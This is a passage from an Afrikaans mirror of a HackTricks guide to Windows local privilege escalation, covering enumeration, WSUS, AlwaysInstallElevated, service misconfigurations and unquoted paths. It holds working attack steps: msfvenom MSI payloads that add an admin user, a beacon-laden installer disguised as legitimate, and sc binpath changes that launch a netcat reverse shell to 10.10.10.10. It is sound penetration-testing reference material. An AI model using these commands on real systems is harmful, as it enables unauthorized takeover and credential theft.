mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1449 lines
71 KiB
Markdown
1449 lines
71 KiB
Markdown
# Windows Lokale Privilege Escalation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### **Beste hulpmiddel om te soek na Windows lokale privilege escalatie vektore:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
## Begin Windows Teorie
|
||
|
||
### Toegangstokens
|
||
|
||
**As jy nie weet wat Windows Toegangstokens is nie, lees die volgende bladsy voordat jy voortgaan:**
|
||
|
||
{{#ref}}
|
||
access-tokens.md
|
||
{{#endref}}
|
||
|
||
### ACLs - DACLs/SACLs/ACEs
|
||
|
||
**Kyk na die volgende bladsy vir meer inligting oor ACLs - DACLs/SACLs/ACEs:**
|
||
|
||
{{#ref}}
|
||
acls-dacls-sacls-aces.md
|
||
{{#endref}}
|
||
|
||
### Integriteitsvlakke
|
||
|
||
**As jy nie weet wat integriteitsvlakke in Windows is nie, moet jy die volgende bladsy lees voordat jy voortgaan:**
|
||
|
||
{{#ref}}
|
||
integrity-levels.md
|
||
{{#endref}}
|
||
|
||
## Windows Sekuriteitsbeheer
|
||
|
||
Daar is verskillende dinge in Windows wat jou kan **verhoed om die stelsel te evalueer**, uitvoerbare lêers te loop of selfs jou **aktiwiteite te ontdek**. Jy moet **lees** die volgende **bladsy** en **evalueer** al hierdie **verdedigings** **meganismes** voordat jy die privilege escalasie evaluering begin:
|
||
|
||
{{#ref}}
|
||
../authentication-credentials-uac-and-efs/
|
||
{{#endref}}
|
||
|
||
## Stelselinligting
|
||
|
||
### Weergawe-inligting evaluering
|
||
|
||
Kyk of die Windows weergawe enige bekende kwesbaarheid het (kyk ook na die toegepaste patches).
|
||
```bash
|
||
systeminfo
|
||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
|
||
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
|
||
```
|
||
|
||
```bash
|
||
[System.Environment]::OSVersion.Version #Current OS version
|
||
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
|
||
Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||
```
|
||
### Weergawe Exploits
|
||
|
||
Hierdie [site](https://msrc.microsoft.com/update-guide/vulnerability) is handig om gedetailleerde inligting oor Microsoft-sekuriteitskwesies te soek. Hierdie databasis het meer as 4,700 sekuriteitskwesies, wat die **massiewe aanvaloppervlak** toon wat 'n Windows-omgewing bied.
|
||
|
||
**Op die stelsel**
|
||
|
||
- _post/windows/gather/enum_patches_
|
||
- _post/multi/recon/local_exploit_suggester_
|
||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas het watson ingebed)_
|
||
|
||
**Plaaslik met stelselinligting**
|
||
|
||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||
|
||
**Github repos van exploits:**
|
||
|
||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
||
|
||
### Omgewing
|
||
|
||
Enige geloofsbriewe/juicy inligting wat in die omgewing veranderlikes gestoor is?
|
||
```bash
|
||
set
|
||
dir env:
|
||
Get-ChildItem Env: | ft Key,Value -AutoSize
|
||
```
|
||
### PowerShell Geskiedenis
|
||
```bash
|
||
ConsoleHost_history #Find the PATH where is saved
|
||
|
||
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
|
||
cat (Get-PSReadlineOption).HistorySavePath
|
||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||
```
|
||
### PowerShell Transkripsie lêers
|
||
|
||
Jy kan leer hoe om dit aan te skakel in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||
```bash
|
||
#Check is enable in the registry
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
dir C:\Transcripts
|
||
|
||
#Start a Transcription session
|
||
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
|
||
Stop-Transcript
|
||
```
|
||
### PowerShell Module Logging
|
||
|
||
Besonderhede van PowerShell-pyplyn-uitvoerings word aangeteken, insluitend uitgevoerde opdragte, opdrag-aanroepe, en dele van skrifte. egter, volledige uitvoeringsbesonderhede en uitvoerresultate mag nie vasgelê word nie.
|
||
|
||
Om dit te aktiveer, volg die instruksies in die "Transkripsie-lêers" afdeling van die dokumentasie, en kies **"Module Logging"** in plaas van **"Powershell Transcription"**.
|
||
```bash
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
```
|
||
Om die laaste 15 gebeurtenisse van PowersShell-logs te sien, kan jy uitvoer:
|
||
```bash
|
||
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||
```
|
||
### PowerShell **Script Block Logging**
|
||
|
||
'n Volledige aktiwiteit en volledige inhoud rekord van die skrip se uitvoering word vasgevang, wat verseker dat elke blok kode gedokumenteer word soos dit loop. Hierdie proses behou 'n omvattende oudit spoor van elke aktiwiteit, waardevol vir forensiese ondersoek en die analise van kwaadwillige gedrag. Deur alle aktiwiteit op die tydstip van uitvoering te dokumenteer, word gedetailleerde insigte in die proses verskaf.
|
||
```bash
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
```
|
||
Die registrasie van gebeurtenisse vir die Script Block kan gevind word binne die Windows Event Viewer by die pad: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||
Om die laaste 20 gebeurtenisse te sien, kan jy gebruik maak van:
|
||
```bash
|
||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||
```
|
||
### Internet Instellings
|
||
```bash
|
||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||
```
|
||
### Skyfies
|
||
```bash
|
||
wmic logicaldisk get caption || fsutil fsinfo drives
|
||
wmic logicaldisk get caption,description,providername
|
||
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
|
||
```
|
||
## WSUS
|
||
|
||
Jy kan die stelsel kompromitteer as die opdaterings nie met http**S** versoek word nie, maar met http.
|
||
|
||
Jy begin deur te kyk of die netwerk 'n nie-SSL WSUS-opdatering gebruik deur die volgende in cmd te loop:
|
||
```
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||
```
|
||
Of die volgende in PowerShell:
|
||
```
|
||
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||
```
|
||
As jy 'n antwoord kry soos een van hierdie:
|
||
```bash
|
||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||
```
|
||
|
||
```bash
|
||
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||
PSChildName : windowsupdate
|
||
PSDrive : HKLM
|
||
PSProvider : Microsoft.PowerShell.Core\Registry
|
||
```
|
||
En as `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` of `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` gelyk is aan `1`.
|
||
|
||
Dan, **is dit exploitable.** As die laaste register gelyk is aan 0, sal die WSUS-invoer geïgnoreer word.
|
||
|
||
Om hierdie kwesbaarhede te benut, kan jy gereedskap soos: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) gebruik - Dit is MiTM gewapende exploits skripte om 'valse' opdaterings in nie-SSL WSUS-verkeer in te spuit.
|
||
|
||
Lees die navorsing hier:
|
||
|
||
{{#file}}
|
||
CTX_WSUSpect_White_Paper (1).pdf
|
||
{{#endfile}}
|
||
|
||
**WSUS CVE-2020-1013**
|
||
|
||
[**Lees die volledige verslag hier**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||
Basies, dit is die fout wat hierdie fout benut:
|
||
|
||
> As ons die mag het om ons plaaslike gebruikersproxy te wysig, en Windows Updates die proxy gebruik wat in Internet Explorer se instellings geconfigureer is, het ons dus die mag om [PyWSUS](https://github.com/GoSecure/pywsus) plaaslik te loop om ons eie verkeer te onderskep en kode as 'n verhoogde gebruiker op ons bates te loop.
|
||
>
|
||
> Verder, aangesien die WSUS-diens die huidige gebruiker se instellings gebruik, sal dit ook sy sertifikaatwinkel gebruik. As ons 'n self-onderteken sertifikaat vir die WSUS-hostnaam genereer en hierdie sertifikaat in die huidige gebruiker se sertifikaatwinkel voeg, sal ons in staat wees om beide HTTP en HTTPS WSUS-verkeer te onderskep. WSUS gebruik geen HSTS-agtige meganismes om 'n trust-on-first-use tipe validasie op die sertifikaat te implementeer nie. As die sertifikaat wat aangebied word deur die gebruiker vertrou word en die korrekte hostnaam het, sal dit deur die diens aanvaar word.
|
||
|
||
Jy kan hierdie kwesbaarheid benut met die gereedskap [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (sodra dit bevry is).
|
||
|
||
## KrbRelayUp
|
||
|
||
'n **Plaaslike privilege-escalation** kwesbaarheid bestaan in Windows **domein** omgewings onder spesifieke toestande. Hierdie toestande sluit omgewings in waar **LDAP-handtekening nie afgedwing word nie,** gebruikers self-regte het wat hulle toelaat om **Resource-Based Constrained Delegation (RBCD)** te konfigureer, en die vermoë vir gebruikers om rekenaars binne die domein te skep. Dit is belangrik om op te let dat hierdie **vereistes** nagekom word met **standaardinstellings**.
|
||
|
||
Vind die **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||
|
||
Vir meer inligting oor die vloei van die aanval, kyk [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||
|
||
## AlwaysInstallElevated
|
||
|
||
**As** hierdie 2 registers **geaktiveer** is (waarde is **0x1**), kan gebruikers van enige privilege `*.msi` lêers as NT AUTHORITY\\**SYSTEM** **installeer** (uitvoer).
|
||
```bash
|
||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
```
|
||
### Metasploit payloads
|
||
```bash
|
||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
|
||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
|
||
```
|
||
As jy 'n meterpreter-sessie het, kan jy hierdie tegniek outomaties uitvoer met die module **`exploit/windows/local/always_install_elevated`**
|
||
|
||
### PowerUP
|
||
|
||
Gebruik die `Write-UserAddMSI` opdrag van power-up om binne die huidige gids 'n Windows MSI-binary te skep om voorregte te verhoog. Hierdie skrip skryf 'n vooraf saamgestelde MSI-installer wat vra vir 'n gebruiker/groep toevoeging (so jy sal GIU-toegang nodig hê):
|
||
```
|
||
Write-UserAddMSI
|
||
```
|
||
Just execute the created binary to escalate privileges.
|
||
|
||
### MSI Wrapper
|
||
|
||
Lees hierdie tutoriaal om te leer hoe om 'n MSI-wrapper te skep met hierdie gereedskap. Let daarop dat jy 'n "**.bat**" lêer kan omhul as jy **net** wil **uitvoer** **opdraglyne**.
|
||
|
||
{{#ref}}
|
||
msi-wrapper.md
|
||
{{#endref}}
|
||
|
||
### Create MSI with WIX
|
||
|
||
{{#ref}}
|
||
create-msi-with-wix.md
|
||
{{#endref}}
|
||
|
||
### Create MSI with Visual Studio
|
||
|
||
- **Genereer** met Cobalt Strike of Metasploit 'n **nuwe Windows EXE TCP payload** in `C:\privesc\beacon.exe`
|
||
- Open **Visual Studio**, kies **Skep 'n nuwe projek** en tik "installer" in die soekboks. Kies die **Setup Wizard** projek en klik **Volgende**.
|
||
- Gee die projek 'n naam, soos **AlwaysPrivesc**, gebruik **`C:\privesc`** vir die ligging, kies **plaas oplossing en projek in dieselfde gids**, en klik **Skep**.
|
||
- Hou aan om **Volgende** te klik totdat jy by stap 3 van 4 kom (kies lêers om in te sluit). Klik **Voeg by** en kies die Beacon payload wat jy pas gegenereer het. Klik dan op **Voltooi**.
|
||
- Beklemtoon die **AlwaysPrivesc** projek in die **Solution Explorer** en in die **Properties**, verander **TargetPlatform** van **x86** na **x64**.
|
||
- Daar is ander eienskappe wat jy kan verander, soos die **Skepper** en **Fabrikant** wat die geïnstalleerde app meer wettig kan laat lyk.
|
||
- Regsklik op die projek en kies **View > Custom Actions**.
|
||
- Regsklik op **Install** en kies **Voeg Aangepaste Aksie by**.
|
||
- Dubbelklik op **Application Folder**, kies jou **beacon.exe** lêer en klik **OK**. Dit sal verseker dat die beacon payload uitgevoer word sodra die installer gedraai word.
|
||
- Onder die **Custom Action Properties**, verander **Run64Bit** na **True**.
|
||
- Laastens, **bou dit**.
|
||
- As die waarskuwing `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` vertoon word, maak seker jy stel die platform op x64.
|
||
|
||
### MSI Installation
|
||
|
||
Om die **installasie** van die kwaadwillige `.msi` lêer in **agtergrond:** te voer:
|
||
```
|
||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||
```
|
||
Om hierdie kwesbaarheid te benut, kan jy gebruik maak van: _exploit/windows/local/always_install_elevated_
|
||
|
||
## Antivirus en Detektore
|
||
|
||
### Ouditinstellings
|
||
|
||
Hierdie instellings bepaal wat **gelog** word, so jy moet aandag gee.
|
||
```
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||
```
|
||
### WEF
|
||
|
||
Windows Event Forwarding, is interessant om te weet waar die logs gestuur word
|
||
```bash
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||
```
|
||
### LAPS
|
||
|
||
**LAPS** is ontwerp vir die **bestuur van plaaslike Administrateur wagwoorde**, wat verseker dat elke wagwoord **uniek, ewekansig, en gereeld opgedateer** word op rekenaars wat aan 'n domein gekoppel is. Hierdie wagwoorde word veilig binne Active Directory gestoor en kan slegs deur gebruikers wat voldoende regte deur ACLs toegeken is, toegang verkry, wat hulle toelaat om plaaslike admin wagwoorde te sien indien gemagtig.
|
||
|
||
{{#ref}}
|
||
../active-directory-methodology/laps.md
|
||
{{#endref}}
|
||
|
||
### WDigest
|
||
|
||
As aktief, **word plain-text wagwoorde in LSASS** (Local Security Authority Subsystem Service) gestoor.\
|
||
[**Meer inligting oor WDigest op hierdie bladsy**](../stealing-credentials/credentials-protections.md#wdigest).
|
||
```bash
|
||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
|
||
```
|
||
### LSA-beskerming
|
||
|
||
Begin met **Windows 8.1**, het Microsoft verbeterde beskerming vir die Plaaslike Sekuriteitsowerheid (LSA) bekendgestel om pogings deur onbetroubare prosesse te **blokkeer** om **sy geheue** te **lees** of kode in te spuit, wat die stelsel verder beveilig.\
|
||
[**Meer inligting oor LSA-beskerming hier**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||
```bash
|
||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||
```
|
||
### Credentials Guard
|
||
|
||
**Credential Guard** is in **Windows 10** bekendgestel. Die doel daarvan is om die geloofsbriewe wat op 'n toestel gestoor is, te beskerm teen bedreigings soos pass-the-hash-aanvalle.| [**Meer inligting oor Credentials Guard hier.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||
```bash
|
||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||
```
|
||
### Gekapte Kredensiale
|
||
|
||
**Domein kredensiale** word geverifieer deur die **Plaaslike Sekuriteitsowerheid** (LSA) en gebruik deur bedryfstelselskomponente. Wanneer 'n gebruiker se aanmelddata geverifieer word deur 'n geregistreerde sekuriteitspakket, word domein kredensiale vir die gebruiker tipies gevestig.\
|
||
[**Meer inligting oor Gekapte Kredensiale hier**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||
```bash
|
||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||
```
|
||
## Gebruikers & Groepe
|
||
|
||
### Enumereer Gebruikers & Groepe
|
||
|
||
Jy moet kyk of enige van die groepe waartoe jy behoort interessante regte het
|
||
```bash
|
||
# CMD
|
||
net users %username% #Me
|
||
net users #All local users
|
||
net localgroup #Groups
|
||
net localgroup Administrators #Who is inside Administrators group
|
||
whoami /all #Check the privileges
|
||
|
||
# PS
|
||
Get-WmiObject -Class Win32_UserAccount
|
||
Get-LocalUser | ft Name,Enabled,LastLogon
|
||
Get-ChildItem C:\Users -Force | select Name
|
||
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||
```
|
||
### Bevoorregte groepe
|
||
|
||
As jy **tot 'n paar bevoorregte groep behoort, mag jy in staat wees om voorregte te verhoog**. Leer oor bevoorregte groepe en hoe om hulle te misbruik om voorregte te verhoog hier:
|
||
|
||
{{#ref}}
|
||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||
{{#endref}}
|
||
|
||
### Token manipulasie
|
||
|
||
**Leer meer** oor wat 'n **token** is op hierdie bladsy: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||
Kyk na die volgende bladsy om **oor interessante tokens te leer** en hoe om hulle te misbruik:
|
||
|
||
{{#ref}}
|
||
privilege-escalation-abusing-tokens.md
|
||
{{#endref}}
|
||
|
||
### Geregistreerde gebruikers / Sessies
|
||
```bash
|
||
qwinsta
|
||
klist sessions
|
||
```
|
||
### Tuis vouers
|
||
```bash
|
||
dir C:\Users
|
||
Get-ChildItem C:\Users
|
||
```
|
||
### Wagwoordbeleid
|
||
```bash
|
||
net accounts
|
||
```
|
||
### Kry die inhoud van die klembord
|
||
```bash
|
||
powershell -command "Get-Clipboard"
|
||
```
|
||
## Hardloopprosesse
|
||
|
||
### Lêer- en Gidspermitte
|
||
|
||
Eerstens, lys die prosesse **kyk vir wagwoorde binne die opdraglyn van die proses**.\
|
||
Kyk of jy kan **oorwrite sommige binêre wat loop** of as jy skrywepermitte van die binêre gids het om moontlike [**DLL Hijacking-aanvalle**](dll-hijacking/index.html) te benut:
|
||
```bash
|
||
Tasklist /SVC #List processes running and services
|
||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||
|
||
#With allowed Usernames
|
||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||
|
||
#Without usernames
|
||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||
```
|
||
Kontroleer altyd vir moontlike [**electron/cef/chromium debuggers** wat loop, jy kan dit misbruik om privilige te verhoog](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
|
||
|
||
**Kontroleer toestemmings van die prosesse se binaire**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||
icacls "%%z"
|
||
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||
)
|
||
)
|
||
```
|
||
**Kontroleer toestemmings van die vouers van die prosesse se binaire lêers (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
|
||
todos %username%" && echo.
|
||
)
|
||
```
|
||
### Geheue Wagwoord mynbou
|
||
|
||
Jy kan 'n geheue-dump van 'n lopende proses skep met **procdump** van sysinternals. Dienste soos FTP het die **akkrediteer in duidelike teks in geheue**, probeer om die geheue te dump en die akkrediteer te lees.
|
||
```bash
|
||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||
```
|
||
### Onveilige GUI-apps
|
||
|
||
**Toepassings wat as SYSTEM loop, mag 'n gebruiker toelaat om 'n CMD te genereer, of om gidsen te blaai.**
|
||
|
||
Voorbeeld: "Windows Help and Support" (Windows + F1), soek na "command prompt", klik op "Click to open Command Prompt"
|
||
|
||
## Dienste
|
||
|
||
Kry 'n lys van dienste:
|
||
```bash
|
||
net start
|
||
wmic service list brief
|
||
sc query
|
||
Get-Service
|
||
```
|
||
### Toestemmings
|
||
|
||
Jy kan **sc** gebruik om inligting van 'n diens te verkry
|
||
```bash
|
||
sc qc <service_name>
|
||
```
|
||
Dit word aanbeveel om die binêre **accesschk** van _Sysinternals_ te hê om die vereiste privaatheidsvlak vir elke diens te kontroleer.
|
||
```bash
|
||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||
```
|
||
Dit word aanbeveel om te kyk of "Geverifieerde gebruikers" enige diens kan wysig:
|
||
```bash
|
||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||
```
|
||
[U kan accesschk.exe vir XP hier aflaai](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
|
||
|
||
### Aktiveer diens
|
||
|
||
As u hierdie fout het (byvoorbeeld met SSDPSRV):
|
||
|
||
_Sisteemfout 1058 het voorgekom._\
|
||
_Die diens kan nie begin word nie, hetsy omdat dit gedeaktiveer is of omdat daar geen geaktiveerde toestelle aan dit gekoppel is nie._
|
||
|
||
U kan dit aktiveer deur
|
||
```bash
|
||
sc config SSDPSRV start= demand
|
||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||
```
|
||
**Hou in gedagte dat die diens upnphost van SSDPSRV afhanklik is om te werk (vir XP SP1)**
|
||
|
||
**Nog 'n omweg** van hierdie probleem is om te loop:
|
||
```
|
||
sc.exe config usosvc start= auto
|
||
```
|
||
### **Wysig diens binaire pad**
|
||
|
||
In die scenario waar die "Geoutentiseerde gebruikers" groep **SERVICE_ALL_ACCESS** op 'n diens besit, is dit moontlik om die diens se uitvoerbare binaire te wysig. Om **sc** te wysig en uit te voer:
|
||
```bash
|
||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||
|
||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||
```
|
||
### Herbegin diens
|
||
```bash
|
||
wmic service NAMEOFSERVICE call startservice
|
||
net stop [service name] && net start [service name]
|
||
```
|
||
Privilegies kan deur verskeie toestemmings verhoog word:
|
||
|
||
- **SERVICE_CHANGE_CONFIG**: Laat herkonfigurasie van die diens-binary toe.
|
||
- **WRITE_DAC**: Maak toestemming herkonfigurasie moontlik, wat lei tot die vermoë om dienskonfigurasies te verander.
|
||
- **WRITE_OWNER**: Laat eienaarskap verkryging en toestemming herkonfigurasie toe.
|
||
- **GENERIC_WRITE**: Erf die vermoë om dienskonfigurasies te verander.
|
||
- **GENERIC_ALL**: Erf ook die vermoë om dienskonfigurasies te verander.
|
||
|
||
Vir die opsporing en benutting van hierdie kwesbaarheid, kan die _exploit/windows/local/service_permissions_ gebruik word.
|
||
|
||
### Dienste binaries swak toestemmings
|
||
|
||
**Kontroleer of jy die binary wat deur 'n diens uitgevoer word, kan wysig** of of jy **skryftoestemmings op die gids** het waar die binary geleë is ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||
Jy kan elke binary wat deur 'n diens uitgevoer word, verkry met **wmic** (nie in system32 nie) en jou toestemmings nagaan met **icacls**:
|
||
```bash
|
||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||
|
||
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
|
||
```
|
||
U kan ook **sc** en **icacls** gebruik:
|
||
```bash
|
||
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||
```
|
||
### Dienste-register wysigingsregte
|
||
|
||
Jy moet kyk of jy enige diensregister kan wysig.\
|
||
Jy kan jou **regte** oor 'n diens **register** nagaan deur:
|
||
```bash
|
||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||
|
||
#Try to write every service with its current content (to check if you have write permissions)
|
||
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
|
||
|
||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||
```
|
||
Daar moet nagegaan word of **Authenticated Users** of **NT AUTHORITY\INTERACTIVE** `FullControl` toestemmings het. Indien wel, kan die binêre wat deur die diens uitgevoer word, verander word.
|
||
|
||
Om die pad van die uitgevoerde binêre te verander:
|
||
```bash
|
||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||
```
|
||
### Dienste registrasie AppendData/AddSubdirectory toestemmings
|
||
|
||
As jy hierdie toestemming oor 'n registrasie het, beteken dit **jy kan sub registrasies van hierdie een skep**. In die geval van Windows dienste is dit **genoeg om willekeurige kode uit te voer:**
|
||
|
||
{{#ref}}
|
||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||
{{#endref}}
|
||
|
||
### Ongekwote Diens Paaie
|
||
|
||
As die pad na 'n uitvoerbare lêer nie binne aanhalings is nie, sal Windows probeer om elke einde voor 'n spasie uit te voer.
|
||
|
||
Byvoorbeeld, vir die pad _C:\Program Files\Some Folder\Service.exe_ sal Windows probeer om uit te voer:
|
||
```bash
|
||
C:\Program.exe
|
||
C:\Program Files\Some.exe
|
||
C:\Program Files\Some Folder\Service.exe
|
||
```
|
||
Lys al die ongeciteerde dienspaaie, met uitsluiting van dié wat aan ingeboude Windows-dienste behoort:
|
||
```bash
|
||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||
|
||
